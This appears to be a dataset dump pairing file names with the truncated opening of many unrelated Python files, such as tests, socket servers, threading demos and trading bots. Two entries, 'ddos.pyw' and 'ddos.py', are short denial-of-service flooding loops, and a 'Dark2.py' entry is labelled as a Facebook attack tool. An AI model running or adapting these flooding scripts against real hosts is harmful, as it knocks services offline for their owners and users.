source
stringlengths
3
86
python
stringlengths
75
1.04M
test.py
# -*- coding: utf-8 -*- import sys import os import time import datetime import platform import threading import locale import unittest try: import greenlet greenlet_installed = True except ImportError: greenlet_installed = False BASEDIR = os.path.abspath(os.path.join( os.path.di...
notify.py
import logging import threading from hms_base.client import Client from hms_reddit import settings def get_logger(): return logging.getLogger(__name__) class Notifier: """Class used to speak with the RabbitMQ server.""" def __init__(self): # Create rabbit client self.topic = settin...
rumrunner.py
from __future__ import print_function from __future__ import absolute_import import logging import time import threading import collections try: import ujson as json except ImportError: try: import simplejson as json except ImportError: import json import zmq logger = logging.getLogger(__...
sensor.py
#!/usr/bin/env python """ Copyright (c) 2014-2017 Miroslav Stampar (@stamparm) See the file 'LICENSE' for copying permission """ from __future__ import print_function # Requires: Python >= 2.6 import sys sys.dont_write_bytecode = True import core.versioncheck import inspect import math import mmap import optpars...
Pool.py
from multiprocessing import Process import logging class Pool(object): def __init__(self, max_num_of_processes, func, params_list, logger=None): self.max_num_of_processes = max_num_of_processes self.func = func self.params_list = params_list self.processes = [] self.active_p...
get_springer_ebook.py
import openpyxl import threading import sys from bs4 import BeautifulSoup as BS import requests from pathlib import Path import pickle import traceback import time def thread_get_book(row,saved_title): try: if row[0] == None : return if row[0] in saved_title : return #already has this title ...
slideflow_utils.py
import queue import os import imghdr import json from os.path import join, isfile, isdir, exists import threading # This submodule is now deprecated, as slideflow tfrecords can now be read # during training, without need for dataset conversion raise DeprecationWarning FEATURE_DESCRIPTION = {'slide': tf.io.FixedLe...
person_detection.py
# -*- coding: utf-8 -*- # FLEDGE_BEGIN # See: http://fledge-iot.readthedocs.io/ # FLEDGE_END """ Human Detector Plugin """ __author__ = "Amandeep Singh Arora, Deepanshu Yadav" __copyright__ = "Copyright (c) 2020 Dianomic Systems Inc." __license__ = "Apache 2.0" __version__ = "${VERSION}" import asyncio import copy i...
tester.py
# Copyright (c) 2014 Dropbox, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in w...
support.py
import json from process import do_what_i_say import process from flask import Flask, request, make_response, jsonify,Response from multiprocessing import Process app = Flask(__name__) log = app.logger @app.route('/page', methods=['GET','POST']) def webhook(): req = request.get_json(silent=True, force=True) ...
factory.py
"""A module for Split.io Factories.""" from __future__ import absolute_import, division, print_function, unicode_literals import logging import threading from collections import Counter from enum import Enum from splitio.client.client import Client from splitio.client import input_validator from splitio.client.mana...
deployDev.py
import os import re import time import requests import threading from gude.httpDevice import HttpDevice class DeployDev(HttpDevice): @staticmethod def getFileContent(filename, readOpts="r"): content = None if filename is not None: if os.path.exists(filename): fp = o...
manager.py
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not...
broker.py
# # CORE # Copyright (c)2010-2013 the Boeing Company. # See the LICENSE file included in this distribution. # # author: Jeff Ahrenholz <jeffrey.m.ahrenholz@boeing.com> # ''' broker.py: definition of CoreBroker class that is part of the pycore session object. Handles distributing parts of the emulation out to other emul...
controller.py
import re import time import traceback from threading import Thread from typing import List, Set, Type, Optional, Tuple from bauh.api.abstract.controller import SoftwareManager, SearchResult, ApplicationContext, UpgradeRequirements, \ TransactionResult, SoftwareAction from bauh.api.abstract.disk import DiskCacheLo...
tail_ec2_instance.py
import os import paramiko import queue from botocore.exceptions import EndpointConnectionError from ebcli.objects.exceptions import NoRegionError from ebcli.objects.exceptions import ServiceError from os.path import expanduser from paramiko.ssh_exception import SSHException from threading import Thread from queue impo...
test_dota_base_sota_quad.py
# -*- coding:utf-8 -*- from __future__ import absolute_import from __future__ import print_function from __future__ import division import os import sys import tensorflow as tf import cv2 import numpy as np import math from tqdm import tqdm import argparse from multiprocessing import Queue, Process from utils import...
shepherd.py
#!/usr/bin/env python ################################################################################ # Copyright (c) 2013 Joshua Petitt # https://github.com/jpmec/shepherdpy # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "So...
mpipc_srv.py
# Multiprocessing IPC Server import threading from multiprocessing.managers import BaseManager import queue def worker(): global website_pin queue_StoC = queue.Queue() queue_CtoS = queue.Queue() BaseManager.register('queue_StoC', callable=lambda: queue_StoC) BaseManager.register('queue_CtoS', ...
test_client.py
# test_client.py -- Compatibilty tests for git client. # Copyright (C) 2010 Google, Inc. # # Dulwich is dual-licensed under the Apache License, Version 2.0 and the GNU # General Public License as public by the Free Software Foundation; version 2.0 # or (at your option) any later version. You can redistribute it and/or ...
ping_update_rrd.py
import myfunc import sqlite3 import multiprocessing import os curl_dir = os.path.split(os.path.realpath(__file__))[0] db_file = os.path.join(curl_dir, "p_a_t.db") con = sqlite3.connect(db_file) cur = con.cursor() cur.execute("select ip from host") jobs = [] for i in cur.fetchall(): print(i[0]) p = multiprocess...
qt_test.py
import time from PyQt5 import QtWidgets, QtCore, QtGui from PyQt5.QtGui import QPainter import sys from threading import Thread def except_hook(cls, exception, traceback): sys.__excepthook__(cls, exception, traceback) class MyWidget(QtWidgets.QWidget): def __init__(self, size=8): super().__init__...
xla_client_test.py
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
MultiAV.py
from threading import * from tkinter import * from tkinter.filedialog import askopenfilename import tkinter, tkinter.scrolledtext import os import sys import urllib.request import glob import time import hashlib import quarantaene from vta import vtapi import argparse os_name = sys.platform terminations = [] if "win"...
test_util.py
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
ioloop_test.py
#!/usr/bin/env python from __future__ import absolute_import, division, print_function, with_statement import contextlib import datetime import functools import socket import sys import threading import time from tornado import gen from tornado.ioloop import IOLoop, TimeoutError, PollIOLoop, PeriodicCallback from to...
ddos.pyw
import socket import threading target = '0.0.0.0' #public ip of website fake_ip = '0.0.0.0' #must be a valid ip port = 80 #can be other ports attack_num = 0 def attack(): while True: website = socket.socket(socket.AF_INET, socket.SOCK_STREAM) website.connect((target, port)) w...
template.py
import asyncio import json import os import re import threading from functools import partial from os import path import time from percy import percySnapshot from selenium.webdriver import Chrome from selenium.webdriver.support.ui import Select from pywebio.input import * from pywebio.output import * from pywebio.ses...
day9-1.py
import queue import threading class Intcode: def __init__(self, instructions, inputBuffer=queue.Queue(), outputBuffer=queue.Queue()): self.instructions = instructions self.inputBuffer = inputBuffer self.outputBuffer = outputBuffer self.relativeBase = 0 self.instructions.ex...
summary_server.py
import sys import logging import argparse import os import grpc import concurrent.futures import time from multiprocessing import Pool from services import registry from services.onmt_utils import stanford_ptb_detokenizer, stanford_ptb_tokenizer, summary import services.service_spec.summary_pb2 as ss_pb import service...
__init__.py
""" objectstore package, abstraction for storing blobs of data for use in Galaxy. all providers ensure that data can be accessed on the filesystem for running tools """ import abc import logging import os import random import shutil import threading import time import yaml from galaxy.exceptions import ObjectInvali...
main.py
#!/usr/local/bin/python # -*- coding: utf-8 -*- '''SINOPAC PYTHON API FORWARDER''' from re import search from datetime import datetime import threading import time import string import random import logging import sys import os import typing import requests import shioaji as sj from flask import Flask, request, jsonif...
kvstore_subscriber_tests.py
#!/usr/bin/env python3 # # Copyright (c) 2014-present, Facebook, Inc. # # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. # from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals fro...
test_base.py
import asyncio import fcntl import logging import os import sys import threading import time import uvloop import unittest import weakref from unittest import mock from uvloop._testbase import UVTestCase, AIOTestCase class _TestBase: def test_close(self): self.assertFalse(self.loop._closed) self...
test_object_explorer_service.py
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # --------------------------------------------------------------------...
test-server-metrics-bridge.py
#!/usr/bin/env python3 """ Test that ensures that metrics bridge submission works. """ from common import LOCALHOST, RootCert, STATUS_PORT, print_ok, run_ghostunnel, terminate import time import json import http.server import threading received_metrics = None class FakeMetricsBridgeHandler(http.server.BaseHTTPRequ...
modbus_connector.py
# Copyright 2022. ThingsBoard # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
speech_manager.py
# ***************************************************************************** # Copyright (C) 2019 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.or...
base.py
import base64 import hashlib from six.moves.http_client import HTTPConnection import io import json import os import threading import traceback import socket import sys from six.moves.urllib.parse import urljoin, urlsplit, urlunsplit from abc import ABCMeta, abstractmethod from ..testrunner import Stop from .protocol ...
jupyter_app.py
import dash import os import requests import flask.cli from retrying import retry import io import re import sys import inspect import traceback import warnings from IPython import get_ipython from IPython.display import IFrame, display from IPython.core.ultratb import FormattedTB from ansi2html import Ansi2HTMLConver...
aggregate_1.py
import json import threading from random import randint from time import sleep, strftime import requests import serial import serial.tools.list_ports API_SLOT_UPSSITECH = "https://multi-sensor-network-api.ew.r.appspot.com" TIME_BETWEEN_REQUESTS = 20 arduino_connection = None lock_temperature = threading.Lock() lock...
script.py
import cv2 as cv import numpy as np import paho.mqtt.client as paho import json import math import time import yaml # import threading CONFIG_MQTT = 'config-mqtt.yaml' CONFIG_MAPPING = 'config-mapping.yaml' CONFIG_CAMERA = 'board/calibration_data.txt' camera_id = 0 # -- Coordinate system variables ------------------...
test.py
# -*- coding: utf-8 -*- import datetime as dt import fsutil import re import threading import time import unittest class fsutil_test_case(unittest.TestCase): def setUp(self): fsutil.remove_dir(self.temp_path()) def tearDown(self): fsutil.remove_dir(self.temp_path()) @staticmethod de...
H-Dos.py
#!/usr/bin/python3 # -*- coding: utf-8 -*- # python 3.3.2+ H-DDos Script v.1 # by BENYAMIN # only for legal purpose from queue import Queue from optparse import OptionParser import time,sys,socket,threading,logging,urllib.request,random import sys import os import time import os as sistema # Set color if sys.platfor...
camera.py
from threading import Thread import time from picamera import PiCamera class Camera: def __init__(self): self.camera = PiCamera() self.camera.resolution = (239, 160) self.filming = False self.sequence = 0 self.threads = list() def snap(self): self.filming = Tr...
interactive.py
import asyncio import logging import os import tempfile import textwrap import uuid from functools import partial from multiprocessing import Process from typing import Any, Callable, Dict, List, Optional, Text, Tuple, Union import numpy as np from aiohttp import ClientError from colorclass import Color from sanic imp...
rlock.py
import threading import time import random class Box: def __init__(self): self.lock = threading.RLock() self.total_items = 0 def execute(self, value): with self.lock: self.total_items += value def add(self): with self.lock: self.execute(1) def...
server.py
import socket import threading import sys BUFSIZE=32768 class Server: connections=[] sock= socket.socket(socket.AF_INET, socket.SOCK_STREAM) def __init__(self,addr='127.0.0.1'): self.sock.bind((addr,9876)) self.sock.listen(1) def handler(self,c,a): ...
nlsocket.py
''' Base netlink socket and marshal =============================== All the netlink providers are derived from the socket class, so they provide normal socket API, including `getsockopt()`, `setsockopt()`, they can be used in poll/select I/O loops etc. asynchronous I/O ---------------- To run async reader thread, on...
process.py
# Copyright 2015 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """RPC compatible subprocess-type module. This module defined both a task-side process class as well as a controller-side process wrapper for easier access ...
processor_master.py
#!usr/bin/env python3 import os import logging import socket import threading from textwrap import dedent import ast import yaml import multiprocessing as mp import astropy.units as u from astropy.coordinates import SkyCoord from astropy.time import Time import numpy as np from darc import DARCBase from darc import u...
dynamodump.py
#!/usr/bin/env python2 """ Simple backup and restore script for Amazon DynamoDB using boto to work similarly to mysqldump. Suitable for DynamoDB usages of smaller data volume which do not warrant the usage of AWS Data Pipeline for backup/restores/empty. dynamodump supports local DynamoDB instances as ...
peer.py
import argparse import fcntl import grpc import os import select import subprocess import sys import time import yaml from concurrent import futures from os import path from subprocess import Popen, PIPE, STDOUT from threading import Thread pwd = path.dirname(path.abspath(__file__)) sys.path.append('%s/api' % pwd) i...
test_config.py
import asyncio import copy import pytest import random import yaml from flax.util.config import create_default_flax_config, initial_config_file, load_config, save_config from flax.util.path import mkdir from multiprocessing import Pool from pathlib import Path from threading import Thread from time import sleep from t...
multipro5_lock.py
#!/usr/bin/env python # -*- coding:utf-8 -*- ''' 进程同步 通过lock同步进程的数据 ''' from multiprocessing import Process,Lock def run(l,n): l.acquire() print 'lock',n l.release() if __name__ =='__main__': lock = Lock() for num in range(10): p = Process(target=run,args=(lock,num)) ...
sockets_py.py
import socket import threading from queue import Queue print_lock = threading.Lock() target = 'pythonprogramming.net' def portscan(port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: con = s.connect((target,port)) with print_Lock: print('port',port,'is o...
PPO_cartpole_demo.py
import sys sys.path.append('.') import gym import numpy as np from itertools import count from collections import namedtuple, deque import matplotlib.pyplot as plt import random import seaborn as sns import torch import torch.nn as nn import torch.nn.functional as F import torch.optim as optim from torch.distribution...
ps5.py
# 6.0001/6.00 Problem Set 5 - RSS Feed Filter # Name: lcsm29 # Collaborators: None # Time spent: unknown import feedparser import string import time import threading from project_util import translate_html from mtTkinter import * from datetime import datetime import pytz #--------------------------------------------...
mqtt_main.py
import jwt import paho.mqtt.client as mqtt import threading import sys from mqtt_publisher import main1 from mqtt_config_subscriber import main2 publisherThread = threading.Thread(target=main1) configSubscriberThread = threading.Thread(target=main2) configSubscriberThread.start() publisherThread.start() ...
keepkey.py
from binascii import hexlify, unhexlify import traceback import sys from electrum.util import bfh, bh2u, UserCancelled, UserFacingException from electrum.bitcoin import TYPE_ADDRESS, TYPE_SCRIPT from electrum.bip32 import BIP32Node from electrum import constants from electrum.i18n import _ from electrum.transaction im...
xlsx.py
import sys, subprocess from google_speech import Speech from threading import Thread from duendecat.common import furigana from openpyxl import load_workbook import os, sys from bs4 import BeautifulSoup import logging from random import choice from duendecat.dir import LOG_FILE, database_path class Data(): def ...
execute.py
import os import sys from flask import Flask import requests as r import time import json from signal import signal, SIGINT import threading from datetime import datetime import numpy as np import math ##globals## threads = 8 threadL = [] orderAddr = [] order = [] startTimes = [] mainThread = None totalAddr = None t...
MutexLock.py
#coding: utf-8 from threading import Thread, Lock import time g_num = 0 # 线程对全局变量访问时,一般加锁防止出错 def test1(): global g_num mutex.acquire() # 上锁 for i in range(1000000): g_num += 1 print('---test1---g_num=%d' % g_num) mutex.release() # 解锁 def test2(): global g_num mutex.acquire() for i in range(1000000):...
test_s3boto3.py
# -*- coding: utf-8 -*- from __future__ import unicode_literals import gzip import pickle import threading import warnings from datetime import datetime from unittest import skipIf from botocore.exceptions import ClientError from django.conf import settings from django.core.exceptions import ImproperlyConfigured from...
PyMangaReader.pyw
import sys, os, threading, time from ImageQt import ImageQt from PIL import Image from PyQt5.QtCore import (QFile, QFileInfo, QPoint, QSettings, QSize, Qt, QTextStream, QEvent, pyqtSignal, QRect) from PyQt5.QtGui import (QIcon, QKeySequence, QImage, QPainter, QPalette, QPixmap, QTransform, QKeyEvent, QCursor, QFontMe...
mission.py
#!/usr/bin/env python3 # encoding: utf-8 # # Copyright (c) 2019 SAP SE or an SAP affiliate company. All rights reserved. # # This file is part of ewm-cloud-robotics # (see https://github.com/SAP/ewm-cloud-robotics). # # This file is licensed under the Apache Software License, v. 2 except as noted # otherwise in the LIC...
fsi.py
from subprocess import Popen, PIPE from os import path import string import threading import Queue import uuid class FSharpInteractive: def __init__(self, fsi_path): #self.logfiledir = tempfile.gettempdir() + "/log.txt" #self.logfile = open(self.logfiledir, "w") id = 'vim-' + str(uuid.uuid4...
tcp_server.py
#!/usr/bin/env python3 # -*- coding:utf-8 -*- # author: bigfoolliu import socket import threading # 设置需要监听的ip和端口 bind_ip = '0.0.0.0' bind_port = 9999 server = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM) # ipv4, tcp server.bind((bind_ip, bind_port)) # 设置最大连接为3 server.listen(3) print(f'listening ...
server_AS260V2.py
import socket import threading PORT = 1234 SERVER = 'localhost' ADDR = (SERVER, PORT) HEADER = 10 FORMAT = 'utf-8' DISCONNECT_MESSAGE = 'Fuck Off' server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(ADDR) def handle_client(conn, addr): print(f'[NEW CONNECTION] {addr} connected.') connected = Tr...
requests.py
import pdb import os import requests import logging import copy from multiprocessing import Process, Queue import urllib.request import json from time import sleep from datetime import datetime from framework.log.logger import Logger from framework.datetime.datetime import now_to_str class Requests: METHOD_GET = "...
testipc.py
from unittest import TestCase, main from multiprocessing import Process, Queue from mypy.ipc import IPCClient, IPCServer import pytest import sys import time CONNECTION_NAME = 'dmypy-test-ipc' def server(msg: str, q: 'Queue[str]') -> None: server = IPCServer(CONNECTION_NAME) q.put(server.conn...
threading_utils.py
# -*- coding: utf-8 -*- # Copyright (C) 2013 Yahoo! Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2...
application.py
# =============================================================================== # Copyright 2018 ross # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICE...
mail.py
from flask_mail import Mail, Message from PhoenixNow.config import ProductionConfig from threading import Thread from PhoenixNow.factory import app, mail from itsdangerous import URLSafeTimedSerializer def send_async_email(app, msg): with app.app_context(): mail.send(msg) def generate_confirmation_token(e...
run-logged-aws-playlist.py
#!/usr/bin/env python import sys import threading import time import os.path import json from random import randint from command_args import get_args from AwsDeployer import AwsDeployer from AwsRunner import AwsRunner from AwsBrokerActions import AwsBrokerActions from AwsUniqueConfiguration import AwsUniqueConfigurati...
camerastreamer.py
# Copyright (c) 2019, Bosch Engineering Center Cluj and BFMC organizers # All rights reserved. # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # 1. Redistributions of source code must retain the above copyright notice, ...
main.py
# Made by CubingSoda # https://github.com/CubingSoda/PY-to-EXE from tkinter import * from tkinter import filedialog from tkinter import messagebox import os import shutil import threading from time import sleep import PyInstaller.__main__ import platform class PythonToEXE: def __init__(self): ...
request_api.py
import asyncio import multiprocessing import time from lahja import ( Endpoint, BaseEvent, BaseRequestResponseEvent, BroadcastConfig, ConnectionConfig, ) class DeliverSomethingResponse(BaseEvent): def __init__(self, payload): super().__init__() self.payload = payload # Defin...
accountchecker.py
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'accountchecker.ui' # # Created by: PyQt5 UI code generator 5.11.3 # # WARNING! All changes made in this file will be lost! missingmodules = False import sys try: from PyQt5 import QtCore, QtGui, QtWidgets, uic from PyQt5...
callbacks.py
# -*- coding: utf8 -*- ### # Copyright (c) 2002-2005, Jeremiah Fincher # Copyright (c) 2014, James McCoy # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must...
Dark2.py
#!/usr/bin/python # coding=utf-8 # (ZeDD) RedDemons # Source : Python2 Gerak" # DARK-FB version1.7 #Import module import os,sys,time,datetime,random,hashlib,re,threading,json,getpass,urllib,cookielib from multiprocessing.pool import ThreadPool try: import mechanize except ImportError: os.system("pip2 install mechani...
siap_jadwal.py
from module import kelas from lib import wa, reply from email import encoders from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart from fpdf import FPDF from selenium.common.exceptions import NoSuchElementException from selenium.webdriver.support.ui im...
app.py
from flask import Flask, render_template, request import requests from controlers.main import map_network import pika import subprocess from threading import Thread import threading import multiprocessing import subprocess import time from master import main app = Flask(__name__) def make_connection(): conne...
data.py
import multiprocessing import cuttsum import pkgutil import inspect import sys from .misc import toposort resources_ = {} def get_resource_manager(resource_name): if len(resources_) == 0: _init_resource_manager() return resources_.get(resource_name, None) def get_resource_managers(): if len(resour...
views.py
from django.shortcuts import render from django.urls import reverse from smarttm_web.models import Meeting, User, Member, Club, Participation, Summary, Participation_Type, Attendance from django.shortcuts import render_to_response import pdb from django.shortcuts import redirect from django.http import HttpResponse fro...
record_roku.py
#! /usr/bin/env python # -*- coding: utf-8 -*- """ Script to record from roku device via WinTV HVR-1950 """ from __future__ import print_function import os import time from subprocess import Popen from multiprocessing import Queue, Process, cpu_count import socket import logging from .get_dev import get_dev from ...
rocket.py
# -*- coding: utf-8 -*- # This file is part of the Rocket Web Server # Copyright (c) 2011 Timothy Farrell # Modified by Massimo Di Pierro # Import System Modules import sys import errno import socket import logging import platform from gluon._compat import iteritems, to_bytes, to_unicode, StringIO from gluon._compat...
testsuite.py
# Copyright (c) 2009-2015 testtools developers. See LICENSE for details. """Test suites and related things.""" __all__ = [ 'ConcurrentTestSuite', 'ConcurrentStreamTestSuite', 'filter_by_ids', 'iterate_tests', 'sorted_tests', ] from collections import Counter from pprint import pformat import sys ...
test_composite_segment_tuner.py
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
test_leaks.py
import gc import threading import unittest import weakref import os import sys if 'IS_TOX' not in os.environ: sys.path.insert(0, '../') from fibers import Fiber, current is_pypy = hasattr(sys, 'pypy_version_info') has_refcount = hasattr(sys, 'getrefcount') class ArgRefcountTests(unittest.TestCase): def...
elevador.py
#!/usr/bin/python3 from threading import Semaphore, Thread from random import randint from time import sleep lugares = Semaphore(5) alumnos_a_bordo = [] total_alumnos=20 def proviene(): return randint(1,5) def destino(este_no): dest = randint(1,5) while dest == este_no: dest = rand...
wallet_database.py
""" # Why DateCreated, DateUpdated and DateDeleted? This was added with the intent that it can be used to serve as a watermark. As most, if not all of this data is stored in encrypted lumps, we will need to index it and provide cached overviews of it that can be quickly loaded to provide a responsive user-interface (p...
latency_test.py
import threading import time import statistics from hidman.core import HIDServer, HIDClient serv = HIDServer(address="tcp://*:6666") t = threading.Thread(target=serv.run) t.start() client = HIDClient(address="tcp://localhost:6666") trials = [] for i in range(0, 100): res = client.waitEvent() print(res) tr...
Bookstore.py
# -*- coding: utf-8 -*- import time import sys import threading from tools.Aspect import Instrumental, instrument def mydecorator(func): def wrapper(*args, **kwargs): print("Hello") result=func(*args, **kwargs) print (result) print("world") return result return wrapper c...
ddos.py
# coding: utf8 import threading import requests def dos(): while True: requests.get("http://example.com") while True: threading.Thread(target=dos).start()
process.py
from multiprocessing import Process from multiprocessing import Barrier class ProcessFactory(object): processes = [] barrier = None @staticmethod def set_barrier(n_tasks): ProcessFactory.barrier = Barrier(n_tasks) @staticmethod def wait(): ProcessFactory.barrier.wait() @...
subl_source_kitten.py
from . import source_kitten from . import sourcekit_xml_to_html import re import itertools import cgi import threading import operator import time # Same as `.complete` but will try two autocompletions: # 1) as normal # 2) with all `import`s stripped - faster # # If (1) runs within a second, the returned result will u...
PieceDownloader.py
#!/usr/bin/python # Helper module to download pieces of torrents and assemble them into the result files import subprocess, requests, random, xmlrpclib, time, urllib, socket, math import os, errno, weakref, hashlib, traceback import threading, Queue from collections import deque from dpqueue import DPQueue from rando...
p12.py
from queue import Queue from threading import Thread def generate_triangle_num(seq): sum = 0 for a in range(1, seq): sum += a return sum def do_stuff(q): while True: b = generate_triangle_num(q.get()) print(b) if cal_divisor_num(b) > 500: print(str(b) + ':...
main_window.py
#!/usr/bin/env python3 # # Electrum - lightweight Bitcoin client # Copyright (C) 2012 thomasv@gitorious # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including with...